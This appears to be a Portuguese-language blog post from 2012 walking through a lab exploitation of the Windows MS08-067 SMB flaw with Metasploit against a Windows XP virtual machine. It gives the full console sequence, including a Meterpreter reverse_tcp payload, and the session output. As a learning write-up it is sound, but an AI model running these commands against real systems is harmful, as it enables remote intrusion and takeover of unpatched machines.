sexta-feira, outubro 12, 2012

Metasploit

Recentemente adquiri o livro “Metasploit – The Penetration tester’s Guide”, para quem não sabe o Metasploit é uma ferramenta para profissionais da segurança da informação, com ela é possível explorar vulnerabilidades, é bem interessante, eu particularmente sempre tive curiosidade de como funciona uma invasão, exploração de vulnerabilidade etc. Para os testes com o Metasploit criei um ambiente composto por duas máquinas virtuais, o “alvo” uma máquina Windows XP Sp2 English e a máquina atacante, Debian 6, explorei uma vulnerabilidade famosa do Windows que explora o serviço “Server”, esse problema foi corrigido a algum tempo e máquinas atualizadas não correm este risco, mais informações sobre esse problema podes ser obtidas no seguinte link: http://technet.microsoft.com/en-us/security/bulletin/ms08-067


Abaixo descrevo o processo para obter acesso a máquina Windows XP Sp2 com a vulnerabilidade ms08-057.
Após abrir o console do Metasploit seleciono o exploit:
msf   > use exploit/windows/smb/ms08_067_netapi

Seleciono o “Payload”
msf  > set payload windows/meterpreter/reverse_tcp
Utilizando o reverse_tcp a máquina alvo que se conecta ao atacante.

Por padrão a descoberta do algo (SO) está como automático, uma boa prática é descobrir a versão do SO, você podes obter uma lista utilizando o comando show targets.

msf > set TARGET 4
4   Windows XP SP2 English (NX)
A opção NX diz que o DEP está ativado, no Windows XP Sp2 isso é ativado por padrão, o DEP é um recurso interessante que “impede” a execução de código em determinadas área de SO:
http://en.wikipedia.org/wiki/NX_bit

Especifico o host que será atacado (RHOST) e o host que é o atacante (LHOST):
msf > set RHOST 192.168.0.7

msf > set LHOST  192.168.0.18

Posso escolher uma porta para conexão com o comando set LPORT.
Basicamente as opções ficaram assim (comando show options):


Após as opções estarem definidas basta executar o comando exploit:
msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.18:4444
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.0.7
[*] Meterpreter session 2 opened (192.168.0.18:4444 -> 192.168.0.7:1088) at 2012-10-12 12:40:04 -0300

Se tudo estiver correto parabéns, você invadiu sua primeira máquina.
Posso obter os processos em execução na máquina algo digitando o comando ps, conforme print abaixo, e também obter um shell com o comando shell:


Basicamente é esse o processo, claro que em um ambiente de teste é fácil executar este tipo de teste, mas na "vida real" as coisas não são tão simples asssim, temos firewalls, atualizações, NAT, Antivirus, e outras coisas que podem impedir o sucesso de um ataque.